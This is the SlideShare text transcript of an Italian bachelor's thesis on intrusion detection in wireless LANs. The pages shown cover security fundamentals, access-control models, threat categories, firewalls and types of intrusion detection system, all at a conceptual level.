Rilevamento intrusioni in wlan
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Rilevamento intrusioni in wlan

on

  • 3,138 views

 

Statistics

Views

Total Views
3,138
Views on SlideShare
3,138
Embed Views
0

Actions

Likes
0
Downloads
52
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

CC Attribution License

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Rilevamento intrusioni in wlan Document Transcript

  • 1. ` ALMA MATER STUDIORUM - UNIVERSITA DI BOLOGNA SEDE DI CESENA ` SECONDA FACOLTA DI INGEGNERIA CORSO DI LAUREA IN INGEGNERIA INFORMATICA SISTEMI DI RILEVAMENTO DELLE INTRUSIONI IN AMBIENTI DI RETE LOCALE WIRELESS Tesi di Laurea elaborata nel corso di: Laboratorio di Reti di Telecomunicazioni L-A Relatore Presentata da Prof. Walter Cerroni Marco Frison Correlatore Ing. Marco Ramilli Sessione II Anno Accademico 2006/2007
  • 2. Copyright c 2007 Marco Frison <marco.frison@studio.unibo.it> Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sec- tions, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.
  • 3. “If in physics there’s something you don’t understand, you can always hide behind the uncharted depths of nature. You can always blame God. You didn’t make it so complex yourself. But if your program doesn’t work, there is no one to hide behind. You cannot hide behind an obstinate nature. If it doesn’t work, you’ve messed up.” Edsger W. Dijkstra
  • 4. Indice Introduzione iii 1 Cenni di sicurezza dell’informazione 1 1.1 Definizioni: il paradigma C.I.A. . . . . . . . . . . . . . . . . . 2 1.2 Modelli implementativi . . . . . . . . . . . . . . . . . . . . . . 3 1.3 Inadeguatezza del paradigma . . . . . . . . . . . . . . . . . . . 6 1.4 Violazioni al paradigma . . . . . . . . . . . . . . . . . . . . . 7 1.5 Obscurity versus full disclosure . . . . . . . . . . . . . . . . . 9 2 Soluzioni di rete tradizionali 11 2.1 Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.2 Intrusion Detection System . . . . . . . . . . . . . . . . . . . 14 3 Tecnologie di protezione per reti wireless 802.11 19 3.1 Wired Equivalent Privacy . . . . . . . . . . . . . . . . . . . . 19 3.2 Temporal Key Integrity Protocol . . . . . . . . . . . . . . . . 23 3.3 Wi-Fi Protected Access . . . . . . . . . . . . . . . . . . . . . . 24 3.4 Wi-Fi Protected Access 2 . . . . . . . . . . . . . . . . . . . . . 27 3.5 Sviluppi futuri: 802.11w . . . . . . . . . . . . . . . . . . . . . 29 3.6 Caso di studio: WLAN citt` di Cesena . . . . . . . . . . . . . 30 a 4 Wireless IDS 33 4.1 Architettura . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 4.2 Attacchi e contromisure . . . . . . . . . . . . . . . . . . . . . 40
  • 5. ii INDICE 4.3 Il problema della localizzazione . . . . . . . . . . . . . . . . . 55 4.4 Kismet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 5 Verifiche sperimentali 61 5.1 Topologia della rete . . . . . . . . . . . . . . . . . . . . . . . . 61 5.2 Configurazione degli strumenti . . . . . . . . . . . . . . . . . . 62 5.3 Penetration test . . . . . . . . . . . . . . . . . . . . . . . . . . 65 Conclusioni 75 A Simple Injector - Sorgenti 77 B Wardriving - Note legali 83 C GNU Free Documentation License 85 C.1 Applicability and definitions . . . . . . . . . . . . . . . . . . . 86 C.2 Verbatim copying . . . . . . . . . . . . . . . . . . . . . . . . . 88 C.3 Copying in quantity . . . . . . . . . . . . . . . . . . . . . . . . 89 C.4 Modifications . . . . . . . . . . . . . . . . . . . . . . . . . . . 90 C.5 Combining documents . . . . . . . . . . . . . . . . . . . . . . 93 C.6 Collections of documents . . . . . . . . . . . . . . . . . . . . . 94 C.7 Aggregation with independent works . . . . . . . . . . . . . . 94 C.8 Translation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 C.9 Termination . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 C.10 Future revisions of this license . . . . . . . . . . . . . . . . . . 96 Bibliografia 97
  • 6. Introduzione Tra le varie tecnologie senza fili a banda larga approdate sul mercato negli ultimi anni nessuna ha avuto successo e rapida espansione quanto quelle ap- partenenti alla famiglia IEEE 802.11; generalmente pi` note sul mercato con u l’acronimo Wi-Fi queste tecnologie hanno saputo imporsi per diversi moti- vi, essenzialmente riconducibili al basso costo dei dispositivi e alla notevole semplicit` di installazione ed utilizzo. a L’improvviso interesse verso le architetture wireless ha per lungo tempo mascherato o quantomeno desensibilizzato gli utilizzatori sui rischi e sui pro- blemi strutturali connessi a tali sistemi; in particolare il mantenimento di una soglia accettabile di sicurezza ` presto divenuto un fattore insostenibile e per le grandi societ` e gli enti governativi che richiedono rigorose procedure a di controllo e standard certificabili. Un susseguirsi di sempre nuove vulnerabilit` facilmente sfruttabili e di ra- a pida automatizzazione ha convinto la Wi-Fi Alliance prima e il gruppo 802.11 poi della necessit` di riprogettare interamente l’impalcatura di autenticazione a e protezione. Sebbene enormi passi siano stati compiuti in questa direzione restano ancora aperte numerose incognite legate intrinsecamente alle tecnologie wi- reless: ripercorrendo le tappe evolutive del processo ingegneristico che ha condotto ai pi` moderni e recenti standard di sicurezza, questa tesi pone co- u me obiettivo lo studio delle problematiche di monitoraggio e rilevamento del-
  • 7. iv Introduzione le intrusioni in ambienti WLAN attraverso una panoramica degli strumenti open-source oggi a disposizione. Il primo capitolo accenna le basi della sicurezza informatica tramite definizioni, modelli e formalismi generali. Il secondo capitolo illustra le comuni soluzioni adottate nelle reti ca- blate attraverso lo sviluppo delle nozioni di firewall, DMZ e IDS. Il terzo capitolo introduce gli standard di sicurezza per ambienti WLAN, esaminandone e commentandone le principali vulnerabilit`. a Il quarto capitolo descrive dettagliatamente i Wireless IDS, delinean- done l’architettura e discutendone le nuove problematiche; infine, come caso di studio, ` presentato Kismet, uno scanner/WIDS open-source. e Nel quinto capitolo ` illustrata l’attivit` sperimentale, volta a verificare e a le attuali capacit` di Kismet. a Prima di continuare ` doveroso precisare come i termini “wireless”, “Wi- e Fi” e “WLAN” non siano sinonimi interscambiabili in quanto mentre il pri- mo denota una qualsivoglia tecnologia senza fili (802.11, Wi-Max, Bluetooth, UMTS, ecc...), il secondo e il terzo si riferiscono unicamente all’implemen- tazione delle specifiche IEEE 802.11; ciononostante, essendo oramai comune l’abuso di queste terminologie per indicare le sole tecnologie 802.11, anche questa tesi ne far`, occasionalmente, un uso indistinto. a Marco Frison
  • 8. Capitolo 1 Cenni di sicurezza dell’informazione Tra tutti i settori legati all’informatica la sicurezza dell’informazione ` forse e l’unico rimasto ammantato da un velo di ombre e misteri che, ancora oggi, lo rendono agli occhi dei pi` non una vera e propria scienza, definibile formal- u mente e apprendibile tramite uno studio metodologico, ma piuttosto quasi un’arcana arte acquisibile solamente tramite l’esperienza; questa visione, in parte alimentata da fantasiose quanto imprecise produzioni cinematografi- che, unita alla difficolt` di formulare correttamente soluzioni al problema, a motiva la penuria, la giovinezza e la conseguente instabilit` delle comuni a infrastrutture di sicurezza. Nell’ultimo decennio l’esposizione di dati sensibili su sistemi informati- ci ha subito un incremento impensabile e, in qualche modo, inaspettato; ci` o pone l’urgente problema di ridefinire le conoscenze preesistenti in termini “in- gegneristici”, inteso nel senso tradizionale di definizione formale di modelli, metodologie e tecniche condivise ed analizzate globalmente dalla comunit` a scientifica. La definizione del concetto di sicurezza, per nulla univoco nel campo
  • 9. 2 Cenni di sicurezza dell’informazione dell’informatica, ` il nostro primo passo nel processo di sviluppo di quella e figura professionale che chiameremo “security engineer”, in virt` della ferma u volont` di rievocare le prassi operative dell’ingegneria. a 1.1 Definizioni: il paradigma C.I.A. In letteratura, ma in generale anche operativamente, i criteri fondamentali per definire sicuro un sistema informativo possono essere riassunti in termi- ni di confidentiality, integrity e availability (confidenzialit`, integrit` e a a disponibilit`) [1] [2]. Si osservi che le definizioni a seguire divergono legger- a mente da quelle espresse nei documenti di ricerca analizzati e rappresentano una rielaborazione personale che pu` essere vista come parte del contributo o originale di questo studio. La confidentiality riguarda la necessit` di rendere accessibili le risorse del a sistema ai soli utenti autorizzati e formalmente rappresenta l’esistenza di una relazione binaria (true, false) 1-N tra ogni risorsa e il gruppo di tutti i pos- sibili utilizzatori, inclusi quelli inattesi; al contrario di quanto generalmente sostenuto non riguarda la capacit` o meno di accedere in lettura al dato/ri- a sorsa ma pi` intrinsecamente la possibilit` di riservatezza riguardo l’esistenza u a stessa dell’informazione. La integrity esterna la capacit` di garantire che la risorsa sia validabile, a cio` la definizione di una relazione ternaria tra le risorse, gli utenti e lo e spazio delle possibili operazioni; non solo include vincoli di consistenza su modifica, cancellazione o altri accessi in scrittura ma anche la possibilit` a di verificare l’origine dell’informazione; questo punto ` inequivocabilmente il e nodo critico della struttura in quanto generalmente la fiducia di una sorgente non ` valutabile obiettivamente ma solo tramite assunzioni poste a priori. e La availability definisce la volont` di garantire, entro un tempo accettabi- a le, che l’utilizzo di una risorsa non sia mai negato ad un utente effettivamente
  • 10. 1.2 Modelli implementativi 3 autorizzato; stabilisce dunque una sorta di compromesso con le relazioni pre- cedenti in quanto manifesta che la sicurezza di un sistema non influisca sul- l’usabilit` dello stesso da parte del personale autorizzato. Quest’assunzione, a indicando come requisito un “tempo accettabile”, pu` limitare fortemente o la scelta delle tecniche implementative e condurre persino alla decisione che un particolare rischio ` accettabile o trasferibile (ad esempio per mezzo di e un’assicurazione). Ricordiamo infine, a scanso di equivoci, come queste definizioni siano da assumere nel modo pi` generale possibile e non limitatamente ai concetti u informatici di hardware e software ma piuttosto dovrebbero essere rivolti a tutti i settori coinvolti nel trattamento e nella gestione delle informazioni di un’azienda o di un’organizzazione. 1.2 Modelli implementativi A livello implementativo, tradizionalmente il paradigma C.I.A. ` stato rias- e sunto in tre domande Chi sei? Come ti riconosco? Che diritti hai? che caratterizzano rispettivamente i servizi di identificazione, autentica- zione e controllo degli accessi. Il lettore scrupoloso dovrebbe immediata- mente intuire che queste considerazioni tralasciano il tema della availability: ci` ` classicamente accettato in quanto quest’ultima attiene maggiormente, oe ma in ultima analisi non esclusivamente, alle capacit` infrastrutturali del si- a stema: ad esempio essa ` generalmente trattata in termini di throughput, e latenza, banda disponibile, politiche di recovery, ecc... I servizi di identificazione, spesso appaiati o confusi con quelli di auten- ticazione, permettono di individuare l’utente tra quelli disponibili all’interno del sistema. Sono molto varie le soluzioni adottate: semplici username, si-
  • 11. 4 Cenni di sicurezza dell’informazione stemi hardware come smart-card o pen-drive, soluzioni di riconoscimento biometrico basati sulla scansione dell’iride o l’impronta digitale. I servizi di autenticazione costituiscono la verifica successiva e accerta- no l’identit` collegandola ad un qualche genere di token, generalmente una a password ma anche impronte vocali o, come sopra, sistemi hardware o bio- metrici. In questa fase ` significativo l’utilizzo di tecniche crittografiche; ad e esempio i login, piuttosto che le password in chiaro, tipicamente confronta- no i rispettivi hash one-way crittografici, derivati da uno specifico algoritmo comune. Il controllo degli accessi, l’ultima categoria di servizi elencati, ` in assoluto e il tema pi` delicato e per questo maggiormente studiato in ambito scienti- u fico; fondamentalmente tre sono i paradigmi possibili: DAC (Discretionary Access Control ), MAC (Mandatory Access Control ) e RBAC (Role-Based Access Control ). La scelta del modello implica forti ripercussioni sul sistema in termini di progettazione e prestazioni ottenibili e dovrebbe pertanto es- sere eseguita solo dopo un’attenta analisi dei requisiti e valutando l’effettivo grado di sicurezza richiesto. Il paradigma DAC ` sicuramente il pi` diffuso e quello a cui siamo nor- e u malmente abituati: ` tipicamente la scelta di default sia nei sistemi Unix (e e derivati, BSD e Linux) sia in quelli della famiglia Microsoft Windows NT (NT, XP, 2003 e Vista). Ciononostante regna molta confusione, anche nel- l’ambito dei trattati di ricerca, sul preciso significato formale: difatti esso ` e comunemente descritto come basato sul concetto di proprietario di una risor- sa, sebbene la definizione originale [3] lo denoti come “un modo di limitare l’accesso alle risorse basato sull’identit` del soggetto e/o del gruppo a cui ap- a partiene”, ignorando completamente la nozione di proprietario che dunque non costituisce un prerequisito ma solamente la pi` comune scelta imple- u mentativa. In questi sistemi il termine Discretionary indica che il detentore di un diritto su una particolare risorsa pu` delegare ad altri utenti, anche o indirettamente, questo suo privilegio.
  • 12. 1.2 Modelli implementativi 5 I sistemi MAC, anch’essi formalmente definiti in [3], sono descritti come un modo per limitare l’accesso alle risorse basato sulla sensitivit` dell’infor- a mazione contenuta e da una formale autorizzazione del soggetto all’accesso a informazioni di tale sensitivit`. Questa asserzione implica che ogni risorsa a ` preventivamente inserita in uno specifico contesto di sicurezza nel quale gli e utenti autorizzati possono eseguire un ristretto sottoinsieme di operazioni, anch’esso predeterminato; tipicamente questo compito ` eseguito dal secu- e rity administrator o security officer, l’unico a cui sono riservati i poteri di amministrare i livelli di accesso e le operazioni consentite. Il punto focale del modello ` la possibilit` di inibire particolari operazioni ad un utente anche e a per risorse da lui stesso create e/o possedute: questo garantisce una robu- stezza e un livello di granularit` molto pi` fine di quello permesso in una a u architettura DAC in quanto l’identit` del soggetto non ` pi` condizione ne- a e u cessaria e sufficiente ad eseguire una qualsiasi operazione sui propri dati ma solamente condizione necessaria. Questo approccio, caro ai sistemi militari, ` e stato analizzato e ha ispirato numerosi paradigmi, i pi` famosi riconducibili u ai lavori di Clark-Wilson [4] e di Bell-LaPadula [5]. Nel corso degli anni sono nate molteplici implementazioni, in particola- re si ricorda il progetto open-source SELinux [6] (Security-Enhanced Linux ), inizialmente sviluppato come una serie di patch per il kernel Linux dalla NSA (National Security Agency) e infine incluso direttamente nel mainstream (ver- sione 2.6.0∼test3). SELinux aggiunge un valido, ma non esente da critiche [7], strato MAC assieme ad alcune soluzioni RBAC. L’approccio RBAC rappresenta un’alternativa relativamente nuova e sem- pre pi` apprezzata non solo in ambito accademico ma anche in campo com- u merciale. Questi sistemi hanno acquistato grande vigore verso la fine degli anni ’90 quando brillanti ricerche [8] dimostrarono che la nuova metodologia non poteva ricadere nelle precedenti categorie come un loro sottoprodotto. La potenza del modello supera i concetti dei paradigmi DAC e MAC intro- ducendo l’astrazione di “ruolo”, capace di spezzare il legame tra utenti e permessi mediando tra essi.
  • 13. 6 Cenni di sicurezza dell’informazione Figura 1.1: Schema di controllo RBAC La Figura 1.1 illustra come il rapporto tra utenti e permessi sia sostitui- to in favore di due nuove relazioni “many-to-many” (N-M) tra gli stessi e l’interposto strato dei ruoli. Questa ripartizione, sorprendentemente banale nella societ` umana, rappresenta un cambiamento sostanziale in quanto eleva a arbitrariamente la granuralit` e l’approccio del least privilege apportabile al a sistema; inoltre ` intuitivamente applicabile ricorsivamente a pi` livelli, ad e u esempio in caso si debbano gestire enormi volumi di ruoli, utenti e permessi. Data la sua giovane et` questo criterio ` ancora poco diffuso nel set- a e tore dei sistemi operativi mentre ` da tempo l’implementazione standard e per la maggior parte dei DBMS in commercio, tra cui citiamo Oracle e PostgreSQL; piacevole eccezione a quanto appena argomentato ` grsecurity e [7], fruibile come patch per il kernel Linux, mentre soluzioni ibride MAC- RBAC sono disponibili in FreeBSD, Trust Solaris e tramite il gi` citato a SELinux. 1.3 Inadeguatezza del paradigma Giunti a questo punto ha senso, o meglio ` necessario, domandarsi che li- e vello di sicurezza garantiscano questi modelli. Nessuno. Una risposta tanto immediata quanto raggelante. Nessuna assicurazione pu` essere formulata o
  • 14. 1.4 Violazioni al paradigma 7 in termini di safety, nessuna verifica di “buon comportamento” ` di per se e predicibile. Citando uno splendido documento di Bruce Schneier [9]: ... Security is a process, not a product. Products provide some protection, but the only way to effectively do business in an insecure world is to put processes in place that recognize the inherent insecurity in the products. ... Riconoscere la sicurezza come un processo significa attribuirle propriet` di ge- a stione e certificazione tipiche di quest’ultimi: gli studi qualitativi prevedono difatti un miglioramento asintotico frutto di un rapporto qualit`/prezzo sta- a tisticamente valutabile a priori in sede di analisi. Un risultato importante con gravi implicazioni teoriche e pratiche: l’assunzione definitiva e irrevocabile del worst case, il caso peggiore. Il nostro sistema ` vulnerabile, potenziale e vittima di aggressioni. Chiunque affermi il contrario ` inequivocabilmente e un dilettante. 1.4 Violazioni al paradigma Incapaci di realizzare un sistema realmente sicuro, desideriamo concetrare l’attenzione su una catalogazione formale dei rischi e delle minacce come violazione dei fondamenti della sicurezza descritti in sez. 1.2, senza, vice- versa, soffermarci sulle possibili e discutibili classificazioni degli aggressori. Distinguiamo tra sniffing, data alteration, spoofing e denial of service. Il termine sniffing indica i pericoli connessi all’intercettazione non auto- rizzata, evidente violazione del principio di confidentiality; pu` essere perpre- o tata nei modi pi` vari, fisicamente (wiretapping) o a lunghe distanze. Con- u tromisure tipiche risiedono nell’utilizzo di tecnologie crittografiche, applicate a uno o pi` layer del protocollo TCP/IP (data-link, network e/o transport u nella maggioranza dei casi).
  • 15. 8 Cenni di sicurezza dell’informazione Data alteration denota i rischi relativi all’esposizione ad attacchi in- dirizzati alla modifica non autorizzata di dati e informazioni, infrangendo il concetto di integrity. In questa ampia categoria sono contenute alcune delle tecniche pi` note ed eleganti descritte in letteratura. Ad esempio i cosiddetti u buffer overflow, derivanti da un mancato o errato controllo sulla dimensione dell’input in ingresso ad un buffer, consentono di modificare arbitrariamento il flusso di controllo del programma per eseguire comandi non permessi (ge- neralmente una shell di root). Soluzioni per evitare questo tipo di minacce risiedono nella verifica dell’integrit` dei dati tramite operazioni di parsing a degli input e monitoraggio dei files sensibili. Con spoofing si intendono tutte le attivit` volte al mascheramento della a propria identit` con lo scopo di aggirare i controlli preposti a garantire con- a fidentiality e integrity delle informazioni. I possibili attacchi riconducibili a questa categoria trascendono dalla sola informatica, estendendosi al campo della psicologia umana tramite le raffinate discipline di social engineering. Notoriamente l’essere umano ` prono a raggiri causati da scarsa competenza e o ingenuit`; come una robusta cassaforte ` un debole palliativo per un ladro a e a cui abbiamo consegnato la chiave, allo stesso modo le precauzioni prese per il nostro sistema risultano vane se la segretaria, ingannata da false creden- ziali e/o bella presenza, comunica a terzi le password aziendali. In realt` ` ae il medesimo atteggiamento che permette la rapida diffusione di virus, worm, dialer e simili programmi malevoli. In ambito puramente informatico lo spoofing si sviluppa in ogni livello del protocollo TCP/IP, sino allo strato applicativo; ad esempio il phishing, oggigiorno molto comune, prevede l’utilizzo di siti web fittizi simili nell’aspet- to a quelli originali con l’intento di indurre l’utente a comunicare a soggetti esterni i propri dati personali, quali password e numeri di carte di credito. Particolarmente subdola, infine, la classe di attacchi riconducibile al man in the middle, situazione in cui l’aggressore si interpone a due interlocutori presentandosi a ciascuno di essi come il corrispettivo.
  • 16. 1.5 Obscurity versus full disclosure 9 Ostacolare queste minacce ` particolarmente complicato e prevede sostan- e zialmente la capacit` di assicurare efficaci servizi di autenticazione, tanto nel a dominio informatico quanto in quello umano; pertanto una saggia politica di sicurezza dovrebbe includere periodici corsi educativi, obbligatori per tutti gli utenti. Per concludere, i denial of service (DOS) aggrediscono il presupposto di availability, ritardando o bloccando l’utilizzo delle risorse. Generalmen- te sono perpetrati inondando il bersaglio con quantit` di traffico ingestibili, a spesso ricorrendo all’utilizzo di insiemi di host gi` violati (gergalmente mac- a chine zombi) per realizzare offensive Distributed DOS (DDOS). Per quanto contenibili progettando accuratamente la propria infrastruttura, non esisto- no reali contromisure ad ogni scenario: per quanto elevata, la propria banda sar` sempre superiormente limitata. a 1.5 Obscurity versus full disclosure Discutiamo infine, brevemente e senza addentrarci nei dettagli, le diverse strategie di security through obscurity e di full disclosure Security through obscurity ` una corrente di pensiero basata sul princi- e pio di segretezza, in termini di design, implementazione e manutenzione del software: le vulnerabilit`, eventuali o realmente esistenti, non sono divulgate a al pubblico nella speranza che gli aggressori non ne giungano a conoscenza. Questa convinzione, notoriamente smentita dai fatti, ` abitualmente applica- e ta in ambito commerciale e militare ma aspramente criticata dalla comunit` a open-source che la ritiene una comoda scusante ai tempi spesso intollerabili di aggiornamento e revisione del software. Contrapposta alla precedente, full disclosure ` una diffusa metodologia e che richiede la completa divulgazione al pubblico di ogni vulnerabilit`, in- a clusi i dettagli per la rilevazione e l’exploit della stessa. La teoria fondante
  • 17. 10 Cenni di sicurezza dell’informazione prevede che questo atteggiamento porti a correzioni pi` repentine perch´ gli u e autori del software sono costretti a rispondere celeramente per mantenere la credibilit` del proprio prodotto; ci` generalmente riduce la finestra di espo- a o sizione all’attacco. L’origine risale formalmente ad un articolo del 1853 [10], a cura di A. C. Hobbs, sull’opportunit` che i difetti delle serrature rimanessero confinati alla a comunit` dei fabbri. Da allora numerosi sono stati i consensi; in particolare a nel campo della crittografia il concetto ` riassunto nella legge di Kerckhoffs. e Kerckhoffs 1.1 A cryptosystem should be secure even if everything about the system, except the key, is public knowledge. Varianti a quest’atteggiamento prendono il nome di responsible disclo- sure, per cui si ritiene lecito informare preventivamente gli sviluppatori e rilasciare al pubblico la vulnerabilit` solo a correzione avvenuta e comunque a non oltre un tempo massimo di quindici-trenta giorni. Questa modalit` di procedere non ` tuttavia esente da critiche; in par- a e ticolare gli oppositori sostengono che rilasciare dettagli e tools dedicati a sfruttare le falle permetta un incontrollabile proliferare di attacchi anche da parte di curiosi e/o inesperti.
  • 18. Capitolo 2 Soluzioni di rete tradizionali Nella teoria classica sono state fornite molteplici e pi` o meno valide soluzioni u alle problematiche di sicurezza; focalizzandoci sull’ambiente di rete, analiz- ziamo le tecniche adottate prima dell’avvento delle tecnologie senza fili allo scopo di comprendere i postulati da cui diparte il loro funzionamento. Nel capitolo 4, in ambito WLAN, invalideremo questi assiomi e affronteremo le nuove impreviste difficolt`. a 2.1 Firewall In una prima affrettata descrizione, un firewall ` semplicemente un siste- e ma hardware o software capace di filtrare il traffico di rete; in realt` que- a sti apparecchi si sono gradualmente sviluppati sino a comprendere gli strati applicativi superiori al livello di trasporto. La nozione di firewall ` ufficializzata in un documento del 1988 redatto e presso la Digital Equipment Corporation (DEC) [11] in cui ` illustrato un e primitivo analizzatore di pacchetti; questo rudimentale programma limitava le proprie considerazioni all’indirizzo sorgente e destinazione, al protocollo e alla porta associata, cio` ai dati ottenibili ispezionando il singolo pacchetto. e
  • 19. 12 Soluzioni di rete tradizionali L’atteggiamento descritto, caratterizzante il primo periodo, individua una categoria di firewall detti stateless, ossia incapaci di osservare il traffico dati in termini di flussi di pacchetti correlati tra loro. Questa nuova abilit` identifica i sistemi stateful, frutto della collabora- a zione di Dave Presetto, Howard Trickey, e Kshitij Nigam presso gli AT&T Bell Laboratories. La seconda generazione ` idonea a prevenire maggior tipo- e logie d’attacco proprio in virt` della possibilit` di analizzare le connessioni u a logiche come progressioni ordinate di pacchetti. Ad esempio un “SYN flood”, ingegnoso DOS (vd. sez. 1.4) che tenta di saturare le risorse della vittima tramite sequenze incomplete di hand-shake TCP, ` rilevabile solo a patto di e mantenere traccia dello stato del traffico di rete. Verso la met` del 1991 Marcus Ranum concretizz` i suoi studi teorici, a o condotti assieme Bill Cheswick e concorrentemente a Gene Spafford, in un prodotto di nuova concezione, appartenente alla categoria oggi nota come application layer firewall o proxy based firewall. L’estensione ai mag- giori protocolli applicativi, ad esempio HTTP, SMTP, FTP e DNS, permette l’individuazione di pi` complessi e mirati attacchi e/o abusi; inoltre queste u soluzioni generalmente prevedono l’integrazione con software IDS/IPS, di cui discuteremo in sez. 2.2. A qualunque categoria sopra citata appartenga il proprio firewall, esso ` e inefficace se dislocato erroneamente. A tal scopo, evitando esempi banali di intranet sprovviste di macchine server, introdurremo la pi` diffusa e classica u topologia di rete descritta in letteratura. La Figura 2.1 mostra una network aziendale schematicamente partizio- nata in due rami: la rete interna, utilizzata per cablare uffici e simili am- bienti di lavoro, e una seconda sezione notoriamente conosciuta come DMZ (De-Militarized Zone, gergalmente “zona smilitarizzata” o, per associazio- ne d’idee, “zona insicura”), impiegata per i server che necessitano di essere raggiungibili dall’esterno.
  • 20. 2.1 Firewall 13 La suddivisione non ` solo una pratica utile per separare entit` concet- e a tualmente distinte ma piuttosto un efficace meccanismo per diversificare le politiche di controllo e filtraggio del firewall. In particolare, come esplificato dalle freccie, mentre la DMZ pu` accettare richieste e stabilire connessioni o in entrambi i versi, la rete interna ` totalmente schermata e irraggiungibile e sia dall’esterno sia dalla DMZ stessa, a tutelare che eventuali vulnerabilit` di a un server in quest’ultima si riflettano in possibili aggressioni alla rete interna stessa. Figura 2.1: Topologia di rete con DMZ Ovviamente tale stile topologico, qui esemplificato in una ripartizione a due sole dimensioni, ` esportabile e scalabile a esigenze notevolmente pi` e u complesse; quali che siano, gli esperti concordano sull’importanza di im- plementare un firewall e difatti oggigiorno sono presenti come componen- ti base in tutti i maggiori sistemi operativi. Per la loro ampia diffusio- ne ricordiamo Windows Firewall, introdotto con Microsoft Windows XP, e Netfilter/Iptables, integrato nel kernel Linux dalla release 2.4.
  • 21. 14 Soluzioni di rete tradizionali 2.2 Intrusion Detection System Nella sez. 1.3 abbiamo assiomaticamente stabilito l’impossibilit` di garanti- a re la sicurezza del nostro sistema. Questo comporta la ricerca di soluzioni ortogonali al problema: se le intrusione di soggetti esterni non sono scongiu- rabili deve quantomeno sussistere un meccanismo che permetta di tracciarle, circoscriverle e assicurare il rapido intervento atto a correggere la falla e quantificare e/o qualificare il danno subito. Tale automatismo, impeccabile dal punto di vista logico, in realt` presen- a ta molteplici difficolt` realizzative. Infatti se un aggressore ottiene privilegi a di tipo amministrativo ` tipicamente in grado, a meno di stringenti politiche e MAC-RBAC, di aggirare, sospendere e alterare l’attivit` di qualsiasi proces- a so di controllo e registrazione degli eventi al fine di mascherare le proprie tracce. Partendo da questa assunzione, gli IDS sviluppano la propria attivit` a cercando di rispondere alle domande Cosa cerchi di fare? Perch´? e in maniera complementare a quanto evidenziato dal paradigma C.I.A. Ci` ` oe possibile ipotizzando che il comportamento di un intruso differisca sensibil- mente rispetto a quello degli utenti autorizzati; ` ovviamente una discutibile e semplificazione ma i dati sperimentali permettono generalmente di avallarla. Una nota prima di proseguire: un IDS non sostituisce i precedenti processi di sicurezza ma ` piuttosto adibito a scoprire un loro fallimento. Questa preci- e sazione, ripresa con varie modalit` in qualunque testo, vuole essere un monito a a tutti quegli impreparati addetti ai lavori che svolgono con superficialit` la a loro mansione.
  • 22. 2.2 Intrusion Detection System 15 2.2.1 Tipologie La letteratura presenta svariate differenti classificazioni per i sistemi anti intrusione; noi ne forniremo una panoramica sommaria, rimandando ai nu- merosissimi e talvolta contrastanti documenti presenti in rete per ulteriori approfondimenti. Una delle pi` comuni generalizzazioni distingue tra due macro categorie, u misuse-based e anomaly-based detection. Un approccio misuse-based, similarmente ai software antivirus, indivi- dua le attivit` sospette tramite il confronto con un catalogo preesistente di a signatures, associate ad attacchi di cui si conoscono pattern caratteristici e costanti. Questo correla l’abilit` di riconoscimento e il numero di falsi positivi a (allarmi generati in reazione ad azioni lecite) alla qualit` e alla tempestivit` a a degli aggiornamenti delle signatures stesse. Il principale svantaggio `, vice- e versa, l’incapacit` di rilevare aggressioni realizzate con tecniche sconosciute a o di cui ancora non si ` definita una impronta. e Una soluzione anomaly-based, al contrario, basa la propria efficacia su considerazioni di tipo statistico, riportando all’attenzione dell’amministrato- re le attivit` che non rientrano nel normale atteggiamento degli utenti sot- a toposti a controllo. Sebbene ci` permetta di rilevare anche attacchi ancora o sconosciuti e non necessiti di continui aggiornamenti, ` fondamentale formu- e lare correttamente il modello comportamentale e sottoporrlo a lunghe fasi di apprendimento. Inoltre tali sistemi sono tragicamente propensi a fornire enormi quantit` di falsi positivi. a A causa della difficolt` nel definire modelli sufficientemente generali gli a IDS commerciali sono in larga maggioranza misuse-based; tuttavia, pre- valentemente in ambito accademico, proseguono floridi studi su tecnologie anomaly-based e strategie ibride, desiderabile compromesso tutt’ora in stato embrionale.
  • 23. 16 Soluzioni di rete tradizionali Un ulteriore importante modalit` di differenziazione ` tra IDS host- a e based e network-based. I sistemi host-based sono adibiti al controllo di una singola postazione e tipicamente realizzano le proprie funzionalit` attraverso i servizi di monito- a raggio e logging messi a disposizione dal sottostante sistema operativo. Ad esempio il kernel Linux espone una serie di hooks (lett. “uncini” o “ganci”) ai quali i programmi interessati possono agganciarsi per tracciare chiamate di sistema, cambi di contesto e di privilegi, ecc... I sistemi network-based, diversamente dai precedenti, supervisionano una o pi` sottoreti, catturando e analizzando i flussi di pacchetti tramite u l’utilizzo di sniffer. Il pi` immediato vantaggio ` la possibilit` di proteggere u e a con relativamente pochi dispositivi, o sensori, anche reti decisamente ampie. In aggiunta lo sniffer opera passivamente, impostando la scheda di rete in una particolare modalit` detta promiscua che ne disabilita le capacit` di tra- a a smissione; questo ne rende estremamente difficile, sebbene non impossibile, il rilevamento a soggetti esterni. D’altro canto questa soluzione ` inefficacie in e praticamente tutti gli attacchi inseriti in un contesto crittografico (ad esem- pio tramite HTTPS o VPN) in quanto il traffico coinvolto non pu` essere o esaminato; inoltre, per quanto prestante, la macchina adibita a tale funzione ha un carico massimo superato il quale perde la propria efficacia. Da anni disponibili sia in ambiente commerciale che in ambito accade- mico, ne esistono soluzioni sia operanti on-line, generalmente impiegati per analizzare in tempo reale pacchetti a campione, che offline, utilizzati per verifiche complete e dettagliate a posteriori. Infine, nei settori di ricerca, sono allo studio sistemi distribuiti di sen- sori intelligenti. Queste architetture evolute, modellate sul paradigma ad agenti, operano una serie di “scremature” sui dati prima di ritrasmetterli a uno o pi` server centrali adibiti alla correlazione e valutazione. Torneremo a u considerare questo approccio nel corso del capitolo 4.
